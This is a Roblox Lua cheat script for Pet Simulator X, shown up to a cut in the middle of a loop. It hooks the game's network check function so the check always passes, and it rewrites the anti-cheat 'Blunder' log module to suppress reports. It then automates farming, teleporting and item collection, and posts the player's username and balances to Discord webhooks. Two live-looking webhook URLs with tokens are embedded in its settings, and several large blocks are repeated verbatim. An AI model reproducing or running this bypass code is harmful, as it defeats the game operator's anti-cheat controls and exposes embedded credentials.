Settings = {

["On Screen Trackers"] = true,

["Performance"] = {
["Disable 3D Rendering"] = false,
["Diable Orb Rendering"] = true,
["Disable Lootbags"] = true
},
["Auto Collect"] = {
["Orbs"] = true,
["Lootbags"] = true
},
["Auto Mailbox"] = {
["Recipient"] = "YOUR USER HERE", -- Person To Send To
["Min Dias"] = 100000000, -- Minumum Gems
["Enabled"] = false
},
["Multipliers"] = {
["Giant Chest"] = 0,
["Chest"] = 0,
["Small Chest"] = 0,
["Vault"] = 0,
["Safe"] = 3,
["Present"] = 5
},
["Webhooks"] = {
["Server Hop Webhook"] =
"https://discord.com/api/webhooks/1112771449330077727/ID4nSbEjVauigCP1VMyvsXd6LEDex
5GaVdqVlmbG8x4bfRlSZY-i9BmXVCOEnfpngQXb",
["Time Frame Webhook"] =
"https://discord.com/api/webhooks/1114124503405039660/MBoma7dEqXYZUPHlTsVo1nMw5nLQL
XN7IvumhBCqU36jenoyieHktmt8IT45gHr2leF6",
["Timeframe"] = 60 -- Seconds
},
["Pet Team"] = {
["Mode"] = "Manual", -- Best Or Manual: Best = Highest Power, Manual = All
Pets With A Certain Nickname
["Nickname"] = "MrKronRBLX"
},
["Fruit"] = {
["Farm Fruit If Low"] = true,
["Min Fruit"] = 100, -- Starts Farming If Below This
["Max Fruit"] = 180, -- Stops Farming Once Above This
["Mode"] = "Pixel Vault" -- Pixel Vault or Server Hop
},
["Boosts"] = {
["Triple Damage"] = true,
["Server Damage"] = true
}
}

local Http = game:GetService("HttpService")

writefile("v4config.txt", Http:JSONEncode(Settings))

Http = game:GetService("HttpService")

Settings = Http:JSONDecode(readfile("v4config.txt"))

if not game:IsLoaded() then

 while not game:IsLoaded() do wait(1) end
end

if Settings["Performance"]["Disable 3D Rendering"] then

game:GetService("RunService"):Set3dRenderingEnabled(false) end

local totallabelsize = 0

function makelabel()
local sg = Instance.new("ScreenGui", game.Players.LocalPlayer.PlayerGui)

local label = Instance.new("TextLabel")

label.Size = UDim2.new(0.4, 0, 0.2, 0)
label.Position = UDim2.new(0.05, 0, 0.95 - totallabelsize)
label.BackgroundColor3 = Color3.new(0, 0, 0)
label.BackgroundTransparency = 0
label.BorderSizePixel = 0
label.TextColor3 = Color3.new(1, 1, 1)
label.Font = Enum.Font.SourceSansBold
label.TextScaled = true
label.TextWrapped = true
label.Text = "Label"
label.Parent = sg
if not Settings["On Screen Trackers"] then sg.Enabled = false end

label.ClipsDescendants = true

local corner = Instance.new("UICorner")

corner.CornerRadius = UDim.new(0, 5)
corner.Parent = label

totallabelsize = totallabelsize + 0.25

return label
end

local label1 = makelabel()

local label2 = makelabel()
local label3 = makelabel()

label1.Text = "🌟 | Coins Remaining"

label2.Text = "💎 | Gems Earned"
label3.Text = "🕒 | Time Elapsed"

label1.Position = UDim2.new(0.05, 0, 0.95 - totallabelsize + 0.05)

label2.Position = UDim2.new(0.05, 0, 0.95 - totallabelsize + 0.05 + 0.25)
label3.Position = UDim2.new(0.05, 0, 0.95 - totallabelsize + 0.05 + 0.5)
local CoinsLeft = 0
local TimeElapsed = 0
local timer = coroutine.create(function()
while 1 do
TimeElapsed = TimeElapsed + 1
label3.Text = "🕒 | Time Elapsed: " .. TimeElapsed .. "s"

wait(1)
end
end)
coroutine.resume(timer)
local coinst = coroutine.create(function()
 while 1 do
label1.Text = "🌟 | Coins Remaining: " .. CoinsLeft
wait(1)
end
end)
coroutine.resume(coinst)

local v1 =
require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"));
while not v1.Loaded do
game:GetService("RunService").Heartbeat:Wait();
end;
AREATOCHECK = "Mystic Mine"
local Network =
require(game:GetService("ReplicatedStorage").Library.Client.Network)
local Fire, Invoke = Network.Fire, Network.Invoke

local old
old = hookfunction(getupvalue(Fire, 1), function(...)
return true
end)
if Settings["Performance"]["Disable Orb Rendering"] then
game:GetService("Workspace")["__THINGS"].Orbs.ChildAdded:Connect(function(v)
pcall(function()
v.Orb.Enabled = false
end)
end)
end
if Settings["Performance"]["Disable Lootbags"] then
game:GetService("Workspace")
["__THINGS"].Lootbags.ChildAdded:Connect(function(v)
pcall(function()
v.Transparency = 1
v.ParticleEmitter:Destroy()
end)
end)
end

if Settings["Auto Collect"]["Orbs"] then

game.Workspace['__THINGS'].Orbs.ChildAdded:Connect(function(v)
Fire("Claim Orbs", {v.Name})
end)
end
if Settings["Auto Collect"]["Lootbags"] then
game.Workspace['__THINGS'].Lootbags.ChildAdded:Connect(function(v)
Fire("Collect Lootbag", v.Name, v.Position)
end)
end

Lib = require(game:GetService("ReplicatedStorage").Library)

local StartGems = Lib.Save.Get().Diamonds

function add_suffix(inte)
local gems = inte
local gems_formatted

if gems >= 1000000000000 then -- if gems are greater than or equal to 1

trillion
gems_formatted = string.format("%.1ft", gems / 1000000000000) -- display
gems in trillions with one decimal point
elseif gems >= 1000000000 then -- if gems are greater than or equal to 1
billion
gems_formatted = string.format("%.1fb", gems / 1000000000) -- display gems
in billions with one decimal point
elseif gems >= 1000000 then -- if gems are greater than or equal to 1 million
gems_formatted = string.format("%.1fm", gems / 1000000) -- display gems in
millions with one decimal point
elseif gems >= 1000 then -- if gems are greater than or equal to 1 thousand
gems_formatted = string.format("%.1fk", gems / 1000) -- display gems in
thousands with one decimal point
else -- if gems are less than 1 thousand
gems_formatted = tostring(gems) -- display gems as is
end

return gems_formatted
end
local gemc = coroutine.create(function()
while 1 do
cg = Lib.Save.Get().Diamonds
label2.Text = "💎 | Gems Earned: " .. add_suffix(cg - StartGems)

wait(1)
end
end)
coroutine.resume(gemc)

local ReplicatedStorage = game:GetService("ReplicatedStorage")

local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local HttpService = game:GetService("HttpService")
local InputService = game:GetService('UserInputService')
local RunService = game:GetService('RunService')
local ContentProvider = game:GetService("ContentProvider")
local banSuccess, banError = pcall(function()
local Blunder =
require(game:GetService("ReplicatedStorage"):WaitForChild("X",
10):WaitForChild("Blunder", 10):WaitForChild("BlunderList", 10))
if not Blunder or not Blunder.getAndClear then LocalPlayer:Kick("Error
while bypassing the anti-cheat! (Didn't find blunder)") end

local OldGet = Blunder.getAndClear

setreadonly(Blunder, false)
local function OutputData(Message)
print("-- PET SIM X BLUNDER --")
print(Message .. "\n")
end

Blunder.getAndClear = function(...)
local Packet = ...
for i,v in next, Packet.list do
if v.message ~= "PING" then
OutputData(v.message)
table.remove(Packet.list, i)
end
end
return OldGet(Packet)
end
 setreadonly(Blunder, true)
end)

if not banSuccess then

LocalPlayer:Kick("Error while bypassing the anti-cheat! ("..
banError ..")")
return
end

local Library = require(game:GetService("ReplicatedStorage").Library)

assert(Library, "Oopps! Library has not been loaded. Maybe try re-joining?")
while not Library.Loaded do task.wait() end

Character = LocalPlayer.Character or LocalPlayer.CharacterAdded:Wait()

Humanoid = Character:WaitForChild("Humanoid")
HumanoidRootPart = Character:WaitForChild("HumanoidRootPart")

local bypassSuccess, bypassError = pcall(function()

if not Library.Network then
LocalPlayer:Kick("Network not found, can't bypass!")
end

if not Library.Network.Invoke or not Library.Network.Fire then

LocalPlayer:Kick("Network Invoke/Fire was not found! Failed to
bypass!")
end

hookfunction(debug.getupvalue(Library.Network.Invoke, 1), function(...)

return true end)
-- Currently we don't need to hook Fire, since both Invoke/Fire have
the same upvalue, this may change in future.
-- hookfunction(debug.getupvalue(Library.Network.Fire, 1),
function(...) return true end)

local originalPlay = Library.Audio.Play

Library.Audio.Play = function(...)
if checkcaller() then
local audioId, parent, pitch, volume, maxDistance, group,
looped, timePosition = unpack({ ... })
if type(audioId) == "table" then
audioId = audioId[Random.new():NextInteger(1,
#audioId)]
end
if not parent then
warn("Parent cannot be nil", debug.traceback())
return nil
end
if audioId == 0 then return nil end

if type(audioId) == "number" or not string.find(audioId,

"rbxassetid://", 1, true) then
audioId = "rbxassetid://" .. audioId
end
if pitch and type(pitch) == "table" then
pitch = Random.new():NextNumber(unpack(pitch))
end
if volume and type(volume) == "table" then
volume = Random.new():NextNumber(unpack(volume))
 end
if group then
local soundGroup =
game.SoundService:FindFirstChild(group) or nil
else
soundGroup = nil
end
if timePosition == nil then
timePosition = 0
else
timePosition = timePosition
end
local isGargabe = false
if not pcall(function() local _ = parent.Parent end) then
local newParent = parent
pcall(function()
newParent = CFrame.new(newParent)
end)
parent = Instance.new("Part")
parent.Anchored = true
parent.CanCollide = false
parent.CFrame = newParent
parent.Size = Vector3.new()
parent.Transparency = 1
parent.Parent = workspace:WaitForChild("__DEBRIS")
isGargabe = true
end
local sound = Instance.new("Sound")
sound.SoundId = audioId
sound.Name = "sound-" .. audioId
sound.Pitch = pitch and 1
sound.Volume = volume and 0.5
sound.SoundGroup = soundGroup
sound.Looped = looped and false
sound.MaxDistance = maxDistance and 100
sound.TimePosition = timePosition
sound.RollOffMode = Enum.RollOffMode.Linear
sound.Parent = parent
if not
require(game:GetService("ReplicatedStorage"):WaitForChild("Library"):WaitForChild("
Client")).Settings.SoundsEnabled then
sound:SetAttribute("CachedVolume", sound.Volume)
sound.Volume = 0
end
sound:Play()
getfenv(originalPlay).AddToGarbageCollection(sound,
isGargabe)
return sound
end

return originalPlay(...)
end

end)

if not bypassSuccess then

print(bypassError)
LocalPlayer:Kick("Error while bypassing network, try again or wait for
an update!")
 return
end

function FrTeleportToWorld(world, area)

local Library = require(game:GetService("ReplicatedStorage").Library)
Library.WorldCmds.Load(world)
wait(0.25)
local areaTeleport =
Library.WorldCmds.GetMap().Teleports:FindFirstChild(area)
Library.Signal.Fire("Teleporting")
task.wait(0.25)
local Character = game.Players.LocalPlayer.Character
local Humanoid = Character.Humanoid
local HumanoidRootPart = Character.HumanoidRootPart
Character:PivotTo(areaTeleport.CFrame + areaTeleport.CFrame.UpVector *
(Humanoid.HipHeight + HumanoidRootPart.Size.Y / 2))
Library.Network.Fire("Performed Teleport", area)
task.wait(0.25)
end
function FrTeleportToArea(world, area)
local areaTeleport = Library.WorldCmds.GetMap().Teleports:FindFirstChild(area)
local Character = game.Players.LocalPlayer.Character
local Humanoid = Character.Humanoid
local HumanoidRootPart = Character.HumanoidRootPart
Character:PivotTo(areaTeleport.CFrame + areaTeleport.CFrame.UpVector *
(Humanoid.HipHeight + HumanoidRootPart.Size.Y / 2))
Library.Network.Fire("Performed Teleport", area)

end

function GetOranges()
local FruitLib = require(game.ReplicatedStorage.Library.Client.FruitCmds)

local Fruit = FruitLib.Directory.Orange

return math.floor(FruitLib.Get(game.Players.LocalPlayer, Fruit))
end

function get_coins_in_area(area)
local allCoins = Invoke("Get Coins") -- this gets every coin in the world you
are in
local coinsInArea = {} -- Make a blank list that will store all the ids of the
coins in the area

for coinid,coindata in pairs(allCoins) do -- Loop through every coin in the

world
if coindata.a == area and not string.find(coindata.n, "Chest") then -- if
the area the coin is in is in the area you specify then...
table.insert(coinsInArea, coinid) -- add the coin id to the coinsinarea
table
end
end
return coinsInArea
end

function attack_coin(id, equip)

local v86 = Invoke("Join Coin", id, equip)
for v88, v89 in pairs(v86) do
Fire("Farm Coin", id, v88);
end
end

function wait_until_broken(id)
while 1 do
wait(0.01)
for i,v in pairs(Invoke("Get Coins")) do
found = false
if i == id then
if #v.petsFarming ~= 0 then
found = true
end
end
end
if not found then break end
end
end

Invoke("Unequip All Pets")

if Settings["Pet Team"]["Mode"] == "Best" then Invoke("Equip Best Pets") end

if Settings["Pet Team"]["Mode"] == "Manual" then
local Pets = Lib.Save.Get().Pets
petstoe = {}
for i,v in pairs(Pets) do
if v.nk == Settings["Pet Team"]["Nickname"] then
table.insert(petstoe, v.uid)
end
end
for i,v in pairs(petstoe) do
cert = coroutine.create(function()
Invoke("Equip Pet", v)
end)
coroutine.resume(cert)
end
end

wait(1)

if not isfile("fruitfarmT.txt") then writefile("fruitfarmT.txt", "false") end

if GetOranges() >= Settings["Fruit"]["Max Fruit"] then writefile("fruitfarmT.txt",

"false") end

if Settings["Fruit"]["Farm Fruit If Low"] == true then

if GetOranges() <= Settings["Fruit"]["Min Fruit"] or readfile("fruitfarmT.txt") ==
"true" then
writefile("fruitfarmT.txt", "true")
if Settings["Fruit"]["Mode"] == "Pixel Vault" then
FrTeleportToWorld("Pixel", "Pixel Vault")
wait(3)
while 1 do
wait(1)
local equipped = {}

local lib = require(game.ReplicatedStorage.Library)

p = lib.Save.Get().PetsEquipped
 for petid, petdata in pairs(p) do
table.insert(equipped, petid)
end

local AllCoins = get_coins_in_area("Pixel Vault")

for i,v in pairs(AllCoins) do

attack_coin(v, equipped)
wait(0.05)
wait_until_broken(i)
end
if GetOranges() >= Settings["Fruit"]["Max Fruit"] then
writefile("fruitfarmT.txt", "false")
break
end
end
end
if Settings["Fruit"]["Mode"] == "Server Hop" then
if not game:IsLoaded() then
while not game:IsLoaded() do wait(1) end

wait(5)
end

local Network =
require(game:GetService("ReplicatedStorage").Library.Client.Network)
local Fire, Invoke = Network.Fire, Network.Invoke

-- Hooking the _check function in the module to bypass the anticheat.

local old
old = hookfunction(getupvalue(Fire, 1), function(...)
return true
end)

local v1 =
require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"));
while not v1.Loaded do
game:GetService("RunService").Heartbeat:Wait();
end;
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local HttpService = game:GetService("HttpService")
local InputService = game:GetService('UserInputService')
local RunService = game:GetService('RunService')
local ContentProvider = game:GetService("ContentProvider")
local banSuccess, banError = pcall(function()
local Blunder =
require(game:GetService("ReplicatedStorage"):WaitForChild("X",
10):WaitForChild("Blunder", 10):WaitForChild("BlunderList", 10))
if not Blunder or not Blunder.getAndClear then LocalPlayer:Kick("Error
while bypassing the anti-cheat! (Didn't find blunder)") end

local OldGet = Blunder.getAndClear

setreadonly(Blunder, false)
local function OutputData(Message)
print("-- PET SIM X BLUNDER --")
print(Message .. "\n")
 end

Blunder.getAndClear = function(...)
local Packet = ...
for i,v in next, Packet.list do
if v.message ~= "PING" then
OutputData(v.message)
table.remove(Packet.list, i)
end
end
return OldGet(Packet)
end

setreadonly(Blunder, true)
end)

if not banSuccess then

LocalPlayer:Kick("Error while bypassing the anti-cheat! ("..
banError ..")")
return
end

local Library = require(game:GetService("ReplicatedStorage").Library)

assert(Library, "Oopps! Library has not been loaded. Maybe try re-joining?")
while not Library.Loaded do task.wait() end

Character = LocalPlayer.Character or LocalPlayer.CharacterAdded:Wait()

Humanoid = Character:WaitForChild("Humanoid")
HumanoidRootPart = Character:WaitForChild("HumanoidRootPart")

local bypassSuccess, bypassError = pcall(function()

if not Library.Network then
LocalPlayer:Kick("Network not found, can't bypass!")
end

if not Library.Network.Invoke or not Library.Network.Fire then

LocalPlayer:Kick("Network Invoke/Fire was not found! Failed to
bypass!")
end

hookfunction(debug.getupvalue(Library.Network.Invoke, 1), function(...)

return true end)
-- Currently we don't need to hook Fire, since both Invoke/Fire have
the same upvalue, this may change in future.
-- hookfunction(debug.getupvalue(Library.Network.Fire, 1),
function(...) return true end)

local originalPlay = Library.Audio.Play

Library.Audio.Play = function(...)
if checkcaller() then
local audioId, parent, pitch, volume, maxDistance, group,
looped, timePosition = unpack({ ... })
if type(audioId) == "table" then
audioId = audioId[Random.new():NextInteger(1,
#audioId)]
end
if not parent then
warn("Parent cannot be nil", debug.traceback())
 return nil
end
if audioId == 0 then return nil end

if type(audioId) == "number" or not string.find(audioId,

"rbxassetid://", 1, true) then
audioId = "rbxassetid://" .. audioId
end
if pitch and type(pitch) == "table" then
pitch = Random.new():NextNumber(unpack(pitch))
end
if volume and type(volume) == "table" then
volume = Random.new():NextNumber(unpack(volume))
end
if group then
local soundGroup =
game.SoundService:FindFirstChild(group) or nil
else
soundGroup = nil
end
if timePosition == nil then
timePosition = 0
else
timePosition = timePosition
end
local isGargabe = false
if not pcall(function() local _ = parent.Parent end) then
local newParent = parent
pcall(function()
newParent = CFrame.new(newParent)
end)
parent = Instance.new("Part")
parent.Anchored = true
parent.CanCollide = false
parent.CFrame = newParent
parent.Size = Vector3.new()
parent.Transparency = 1
parent.Parent = workspace:WaitForChild("__DEBRIS")
isGargabe = true
end
local sound = Instance.new("Sound")
sound.SoundId = audioId
sound.Name = "sound-" .. audioId
sound.Pitch = pitch and 1
sound.Volume = volume and 0.5
sound.SoundGroup = soundGroup
sound.Looped = looped and false
sound.MaxDistance = maxDistance and 100
sound.TimePosition = timePosition
sound.RollOffMode = Enum.RollOffMode.Linear
sound.Parent = parent
if not
require(game:GetService("ReplicatedStorage"):WaitForChild("Library"):WaitForChild("
Client")).Settings.SoundsEnabled then
sound:SetAttribute("CachedVolume", sound.Volume)
sound.Volume = 0
end
sound:Play()
getfenv(originalPlay).AddToGarbageCollection(sound,
isGargabe)
return sound
end

return originalPlay(...)
end

end)

if not bypassSuccess then

print(bypassError)
LocalPlayer:Kick("Error while bypassing network, try again or wait for
an update!")
return
end

function FrTeleportToWorld(world, area)

local Library = require(game:GetService("ReplicatedStorage").Library)
Library.WorldCmds.Load(world)
wait(0.25)
local areaTeleport =
Library.WorldCmds.GetMap().Teleports:FindFirstChild(area)
Library.Signal.Fire("Teleporting")
task.wait(0.25)
local Character = game.Players.LocalPlayer.Character
local Humanoid = Character.Humanoid
local HumanoidRootPart = Character.HumanoidRootPart
Character:PivotTo(areaTeleport.CFrame + areaTeleport.CFrame.UpVector *
(Humanoid.HipHeight + HumanoidRootPart.Size.Y / 2))
Library.Network.Fire("Performed Teleport", area)
task.wait(0.25)
end
function FrTeleportToArea(world, area)
local areaTeleport = Library.WorldCmds.GetMap().Teleports:FindFirstChild(area)
local Character = game.Players.LocalPlayer.Character
local Humanoid = Character.Humanoid
local HumanoidRootPart = Character.HumanoidRootPart
Character:PivotTo(areaTeleport.CFrame + areaTeleport.CFrame.UpVector *
(Humanoid.HipHeight + HumanoidRootPart.Size.Y / 2))
Library.Network.Fire("Performed Teleport", area)

end
local TimeElapsed = 0
local ThingsBroke = 0
local STOP = false
local MADE = false

HttpService = game:GetService("HttpService")

local timer = coroutine.create(function()

while 1 do
TimeElapsed = TimeElapsed + 1
wait(1)
end
end)

coroutine.resume(timer)
SettingsBreakable = {
WorldHop = true, -- If This Is True It Will Break Stuff In Every World Up
To Cat World
Area = "", -- If World Hop Is False And This Isnt Blank It Will Only Farm
In This Area
AutoCollectOrbs = true, -- If This Is True It Will Collect The Orbs
Automatically
Loop = false, -- If This Is True It Will Happen All Again And Again (Only
Enable If Server Hop Is False)
WaitTime = 20, -- If Something Isnt Broken Past This Time Then Move On To
The Next Thing 1 = 0.1s
ThingsToBreak = {
"Apple",
"Orange",
"Pineapple",
"Pear",
"Rainbow Fruit",
"Banana"
} -- List Of Things To Break, If The Name Of The Breakable Contains Any Of
These It Will Break It
}
WebhookLayout = { -- {amount} | shows the amount of breakables broken {time} |
Shows the time it took finish (seconds)
Title = "Breakables Farmed", -- The Title Of The Webhook
Description = "You Broke ``{amount}`` **Things** In ``{time}``
**Seconds**!", -- Description Of The Webhook
Color = tonumber(0x6967d5) -- The Color Of The Webhook
} -- Will be sent after each server hop if the Webhook thing in
SettingsBreakable has a link

function PostWebhook(amount, seconds)

local StatsPath =
game:GetService("Players").LocalPlayer.PlayerGui.Main.Right
function GetCoinsAmount(name)
return StatsPath[name].Amount.Text
end
local thingsfarming = ""
local coins = ":coin: **Coins: ** ``" .. GetCoinsAmount("Coins") .. "``\
n:coin: **Fantasy Coins: ** ``" .. GetCoinsAmount("Fantasy Coins") .. "``\n:coin:
**Tech Coins: ** ``" .. GetCoinsAmount("Tech Coins") .. "``\n:coin: **Rainbow
Coins: ** ``" .. GetCoinsAmount("Rainbow Coins") .. "``\n:coin: **Cartoon Coins: **
``" .. GetCoinsAmount("Cartoon Coins") .. "``\n:gem: **Diamonds: ** ``" ..
GetCoinsAmount("Diamonds") .. "``"
local title = WebhookLayout.Title
title = string.gsub(title, "{amount}", tostring(amount))
title = string.gsub(title, "{time}", tostring(seconds))
local desc = WebhookLayout.Description
desc = string.gsub(desc, "{amount}", tostring(amount))
desc = string.gsub(desc, "{time}", tostring(seconds))
for i, v in pairs(SettingsBreakable.ThingsToBreak) do
thingsfarming = thingsfarming .. ":rock: ``" .. v .. "``\n"
end
syn.request({
Url = SettingsBreakable.Webhook,
Method = "POST",
Headers = {
["Content-Type"] = "application/json"
},
Body = HttpService:JSONEncode{
["content"] = "Username: " .. game.Players.LocalPlayer.Name,
["embeds"] = {{
 ["title"] = title,
["description"] = desc,
["type"] = "rich",
["color"] = WebhookLayout.Color,
["thumbnail"] = {
["url"] =
"https://www.biggames.io/_next/static/media/bigGames.66f7ea84.svg",
["height"] = 350,
["width"] = 270
},
["author"] = {
["name"] = "Breakable Farmer",
["icon_url"] =
"https://tr.rbxcdn.com/d8055fdc4f5c0cb1f7d40f5e10e93eed/150/150/Image/Png"
},
["fields"] = {{
["name"] = "Things Farming",
["value"] = thingsfarming,
["inline"] = true
},{
["name"] = "Coins",
["value"] = coins,
["inline"] = true
}}
}}
}
})
end
local WebhookLayout
local v1 =
require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"));
while not v1.Loaded do
game:GetService("RunService").Heartbeat:Wait();
end;

function WaitUntilAllThingsHaveLoaded()
while 1 do
if #game.Workspace["__THINGS"].Coins:GetChildren() <= 100 then
break
end
wait(0.1)
end
if true then
return
end
while 1 do
oldcount = #game.Workspace["__THINGS"].Coins:GetChildren()
wait(1)
newcount = #game.Workspace["__THINGS"].Coins:GetChildren()
if newcount ~= oldcount then
break
end
end
while 1 do
oldcount = #game.Workspace["__THINGS"].Coins:GetChildren()
wait(1)
newcount = #game.Workspace["__THINGS"].Coins:GetChildren()
if newcount == oldcount then
break
 end
end
end

function ShouldBreak(coin)
for i2, v2 in pairs(SettingsBreakable.ThingsToBreak) do
if string.find(coin, v2) then
return true
end
end
return false
end

local Network =
require(game:GetService("ReplicatedStorage").Library.Client.Network)
local Fire, Invoke = Network.Fire, Network.Invoke

while 1 do
local Ccount = 0
for i, v in pairs(Invoke("Get Coins")) do
Ccount = Ccount + 1
end
if Ccount >= 10 then break end
wait(3)
end

function ForeverPickupOrbs()
while true do
orbs = {}
for i, v in pairs (game.Workspace['__THINGS'].Orbs:GetChildren()) do
table.insert(orbs, v.Name)
end
Fire("Claim Orbs", orbs)
wait(0.1)
end
end
foreverpickup = coroutine.create(ForeverPickupOrbs)
if SettingsBreakable.AutoCollectOrbs then
coroutine.resume(foreverpickup)
end

game.Players.LocalPlayer.PlayerGui.Inventory.Enabled = true
wait(1)
game.Players.LocalPlayer.PlayerGui.Inventory.Enabled = false

if not SettingsBreakable.WorldHop then

while 1 do
wait(0.01)
if SettingsBreakable.Area == "" then
pcall(function()
for i, v in pairs(game:GetService("Workspace")
["__MAP"].Teleports:GetChildren()) do
local anycoins = false
for i2, v2 in pairs(Invoke("Get Coins")) do
if (v2.a) == v.Name and ShouldBreak(v2.n) then
 anycoins = true
end
end
if anycoins then
FrTeleportToArea("", v.Name)
Fire("Performed Teleport")
for i2, v2 in pairs(Invoke("Get Coins")) do
pcall(function()
if (v2.a) == v.Name then
if ShouldBreak(v2.n) then
local equippedpets = {}
for i3, v3 in
pairs(game:GetService("Players").LocalPlayer.PlayerGui.Inventory.Frame.Main.Pets.No
rmal:GetChildren()) do
if v3:IsA("TextButton") then
if v3.Equipped.Visible == true then
table.insert(equippedpets, v3.Name)
end
end
end
local Network =
require(game:GetService("ReplicatedStorage").Library.Client.Network)
local Fire, Invoke = Network.Fire,
Network.Invoke
n = v2.Name
local v86 = Invoke("Join Coin", i2,
equippedpets)
for v88, v89 in pairs(v86) do
Fire("Farm Coin", i2, v88);
end
ThingsBroke = ThingsBroke + 1
count = 0
while 1 do
wait(0.01)
local f = false
for i3, v3 in pairs(Invoke("Get Coins")) do
if i2 == i3 then
f = true
end
end
if count >= SettingsBreakable.WaitTime then
break end
if not f then break end
count = count + 1
end
end
end
end)
end
end
end
end)
else
pcall(function()
anycoins = true
if anycoins then
FrTeleportToArea("", SettingsBreakable.Area)
Fire("Performed Teleport")
for i2, v2 in pairs(Invoke("Get Coins")) do
 pcall(function()
if (v2.a) == SettingsBreakable.Area then
if ShouldBreak(v2.n) then
FrTeleportToArea(SettingsBreakable.Area,
SettingsBreakable.Area)
local equippedpets = {}
for i3, v3 in
pairs(game:GetService("Players").LocalPlayer.PlayerGui.Inventory.Frame.Main.Pets.No
rmal:GetChildren()) do
if v3:IsA("TextButton") then
if v3.Equipped.Visible == true then
table.insert(equippedpets, v3.Name)
end
end
end
local Network =
require(game:GetService("ReplicatedStorage").Library.Client.Network)
local Fire, Invoke = Network.Fire,
Network.Invoke
n = v2.Name
local v86 = Invoke("Join Coin", i2,
equippedpets)
for v88, v89 in pairs(v86) do
Fire("Farm Coin", i2, v88);
end
ThingsBroke = ThingsBroke + 1
count = 0
while 1 do
wait(0.01)
local f = false
for i3, v3 in pairs(Invoke("Get Coins")) do
if i2 == i3 then
f = true
end
end
if count >= SettingsBreakable.WaitTime then
break end
if not f then break end
count = count + 1
end
end
end
end)
end
end
end)
end
if not SettingsBreakable.Loop then
break
end
if STOP then break end
if SettingsBreakable.Loop and not MADE then
MADE = true
local screenCenter =
Vector2.new(workspace.CurrentCamera.ViewportSize.X/2,
workspace.CurrentCamera.ViewportSize.Y/2)

-- Create the button

local myButton = Instance.new("TextButton")
 myButton.Parent = game.Players.LocalPlayer.PlayerGui.Main --
Assumes the script is a child of a ScreenGui
myButton.Position = UDim2.new(0.5, -50, 0.5, -50) -- Set the
button's position to the center of the screen
myButton.Size = UDim2.new(0, 100, 0, 100)
myButton.TextWrapped = true
myButton.Text = "Stop Farm"
myButton.Font = Enum.Font.SourceSansBold
myButton.FontSize = Enum.FontSize.Size48 -- Set a big cartoony font
myButton.TextColor3 = Color3.new(1, 1, 1) -- Set the button's text
color to white
myButton.BackgroundTransparency = 0 -- Make the button fill visible
myButton.BackgroundColor3 = Color3.new(1, 0, 0) -- Set the button's
background color to red
myButton.BorderColor3 = Color3.new(0, 0, 0) -- Set the button's
border color to black
myButton.BorderSizePixel = 10 -- Set the button's border size

-- Add an event listener to the button

myButton.MouseButton1Click:Connect(function()
STOP = true
myButton:Destroy()
end)
end
end
else
while 1 do
wait(0.01)
FrTeleportToWorld("Spawn", "Shop")
wait(0.5)
AllCs = Invoke("Get Coins")
pcall(function()
for i, v in pairs(game:GetService("Workspace")
["__MAP"].Teleports:GetChildren()) do
local anycoins = false
for i2, v2 in pairs(AllCs) do
if (v2.a) == v.Name and ShouldBreak(v2.n) then
anycoins = true
end
end
if anycoins then
FrTeleportToArea("", v.Name)
wait(0.1)
for i2, v2 in pairs(Invoke("Get Coins")) do
pcall(function()
if (v2.a) == v.Name then
if ShouldBreak(v2.n) then
local equippedpets = {}
for i3, v3 in
pairs(game:GetService("Players").LocalPlayer.PlayerGui.Inventory.Frame.Main.Pets.No
rmal:GetChildren()) do
if v3:IsA("TextButton") then
if v3.Equipped.Visible == true then
table.insert(equippedpets, v3.Name)
end
end
end
local Network =
require(game:GetService("ReplicatedStorage").Library.Client.Network)
 local Fire, Invoke = Network.Fire,
Network.Invoke
n = v2.Name
local v86 = Invoke("Join Coin", i2,
equippedpets)
for v88, v89 in pairs(v86) do
Fire("Farm Coin", i2, v88);
end
ThingsBroke = ThingsBroke + 1
count = 0
while 1 do
wait(0.01)
local f = false
for i3, v3 in pairs(Invoke("Get Coins")) do
if i2 == i3 then
f = true
end
end
if count >= SettingsBreakable.WaitTime then
break end
if not f then break end
count = count + 1
end
end
end
end)
end
end
end
end)
FrTeleportToWorld("Fantasy", "Fantasy Shop")
wait(0.5)
FarmWorld = "Fantasy"
AllCs = Invoke("Get Coins")
pcall(function()
for i, v in pairs(game:GetService("Workspace")
["__MAP"].Teleports:GetChildren()) do
local anycoins = false
for i2, v2 in pairs(AllCs) do
if (v2.a) == v.Name and ShouldBreak(v2.n) then
anycoins = true
end
end
if anycoins then
FrTeleportToArea("", v.Name)
wait(0.1)
for i2, v2 in pairs(Invoke("Get Coins")) do
pcall(function()
if (v2.a) == v.Name then
if ShouldBreak(v2.n) then
local equippedpets = {}
for i3, v3 in
pairs(game:GetService("Players").LocalPlayer.PlayerGui.Inventory.Frame.Main.Pets.No
rmal:GetChildren()) do
if v3:IsA("TextButton") then
if v3.Equipped.Visible == true then
table.insert(equippedpets, v3.Name)
end
end
 end
local Network =
require(game:GetService("ReplicatedStorage").Library.Client.Network)
local Fire, Invoke = Network.Fire,
Network.Invoke
n = v2.Name
local v86 = Invoke("Join Coin", i2,
equippedpets)
for v88, v89 in pairs(v86) do
Fire("Farm Coin", i2, v88);
end
ThingsBroke = ThingsBroke + 1
count = 0
while 1 do
wait(0.01)
local f = false
for i3, v3 in pairs(Invoke("Get Coins")) do
if i2 == i3 then
f = true
end
end
if count >= SettingsBreakable.WaitTime then
break end
if not f then break end
count = count + 1
end
end
end
end)
end
end
end
end)
FrTeleportToWorld("Tech", "Tech Shop")
wait(0.5)
FarmWorld = "Tech"
AllCs = Invoke("Get Coins")
pcall(function()
for i, v in pairs(game:GetService("Workspace")
["__MAP"].Teleports:GetChildren()) do
local anycoins = false
for i2, v2 in pairs(AllCs) do
if (v2.a) == v.Name and ShouldBreak(v2.n) then
anycoins = true
end
end
if anycoins then
FrTeleportToArea("", v.Name)
wait(0.1)
for i2, v2 in pairs(Invoke("Get Coins")) do
pcall(function()
if (v2.a) == v.Name then
if ShouldBreak(v2.n) then
local equippedpets = {}
for i3, v3 in
pairs(game:GetService("Players").LocalPlayer.PlayerGui.Inventory.Frame.Main.Pets.No
rmal:GetChildren()) do
if v3:IsA("TextButton") then
if v3.Equipped.Visible == true then
 table.insert(equippedpets, v3.Name)
end
end
end
